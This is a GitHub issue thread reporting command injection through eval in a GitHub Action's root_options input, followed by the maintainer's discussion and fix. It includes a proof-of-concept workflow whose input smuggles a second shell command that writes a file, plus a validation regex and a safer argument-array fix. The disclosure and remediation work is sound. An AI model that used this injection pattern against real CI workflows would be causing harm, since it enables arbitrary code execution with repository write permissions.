Command injection through GH action inputs

[mleblebici]

Bug Report

Description

The publish-action GitHub Action uses eval to execute user-supplied input values, including root_options and indirectly tag, which allows for command injection. This can lead to arbitrary code execution within the CI runner context, especially dangerous when actions are used in workflows with write permissions.

Expected behavior

User-supplied inputs should be treated as arguments only and not executed as shell code. Commands should be constructed and invoked safely using arrays or quoted strings without eval.

Actual behavior

Inputs are interpolated into a string and passed to eval, allowing arbitrary shell commands to be executed. Example:

with:
  root_options: "-h; echo 'INJECTED' > injected.txt"

This results in a new file being created by the injected command, confirming the ability to execute arbitrary commands.

Environment

• Action version: v9.21.1

Configuration

GitHub Actions Job Definition

name: PoC - eval injection

on:
  workflow_dispatch:

jobs:
  exploit:
    runs-on: ubuntu-latest

    permissions:
      contents: write

    steps:
      - name: checkout
        uses: actions/checkout@v4

      - name: test injection
        uses: python-semantic-release/publish-action@v9.21.1
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
          root_options: "-h; echo 'INJECTED COMMAND EXECUTED' > injected.txt; echo "
      
      - name: upload other artifact
        uses: actions/upload-artifact@v4
        with:
          name: injected-output
          path: injected.txt

Execution Log

please check https://github.com/mleblebici/test-repo/actions/runs/14974445832/job/42063064035

Additional context

Workflow => https://github.com/mleblebici/test-repo/blob/main/.github/workflows/test.yml

[codejedi365]

First, if you believe you have found an exploitable vulnerability you should not publicly open a ticket announcing it to the world before you have attempted to contact the developers in a private manner.

Secondly, although shell injection is generally bad practice, how is this actually exploitable by an external party? You are essentially attacking yourself as you must commit the code to change the yaml.

Lastly, how would you solve it to maintain functionality?

[mleblebici]

Hello, sorry I could not see any document on the repository mentioning how to report security issues. I can delete the details if you want.

On exploitability: it is true that the inputs come from the workflow YAML and not directly from an external user. However, this action will probably be used in reusable workflows, organisation-level workflows or third-party triggered CI jobs. In such setups, inputs can come from external repositories, developer-controlled froks, or automated triggers. So, it might become exploitable not by the workflow author, but by: a developer with repo write access (malicious or compromised), a CI configuration allowing external event triggers, or an attacker chaining it with another injection vector.

For solution, one option can be to have a basic input validation like

if [[ "$INPUT_ROOT_OPTIONS" =~ [\;&|$><`] ]]; then
  echo "Error: Unsupported characters in root_options" >&2
  exit 1
fi

and maybe also avoid using eval and use something like this instead

read -r -a ROOT_ARGS <<< "${INPUT_ROOT_OPTIONS:-}"
"$PSR_VENV_BIN/semantic-release" "${ROOT_ARGS[@]}" publish "${PUBLISH_ARGS[@]}"

[codejedi365]

Hello, sorry I could not see any document on the repository mentioning how to report security issues. I can delete the details if you want.

That is fair, I guess this is one repo I didn't post it. Its alright, its already out there now and I have a fix. Using read is pretty nifty as I did not think of that. Would you take a look at the fix I made instead? I scrapped root_options all together and just went for hard coding the desired values based on user inputs.

On exploitability: it is true that the inputs come from the workflow YAML and not directly from an external user. However, this action will probably be used in reusable workflows, organisation-level workflows or third-party triggered CI jobs. In such setups, inputs can come from external repositories, developer-controlled froks, or automated triggers. So, it might become exploitable not by the workflow author, but by: a developer with repo write access (malicious or compromised), a CI configuration allowing external event triggers, or an attacker chaining it with another injection vector.

Thanks for the further consideration as I can see where re-usable workflows would be a problem as the risk is no longer controllable to your repo. I can't say I have explored that at all myself so it didn't come to mind.

[mleblebici]

I checked the PR, the fix looks good to me. Thanks for addressing it so quickly.

[codejedi365]

Thanks! Just need to resolve the test cases and I'll release in tandem with the core library update and the documentation edits as v10.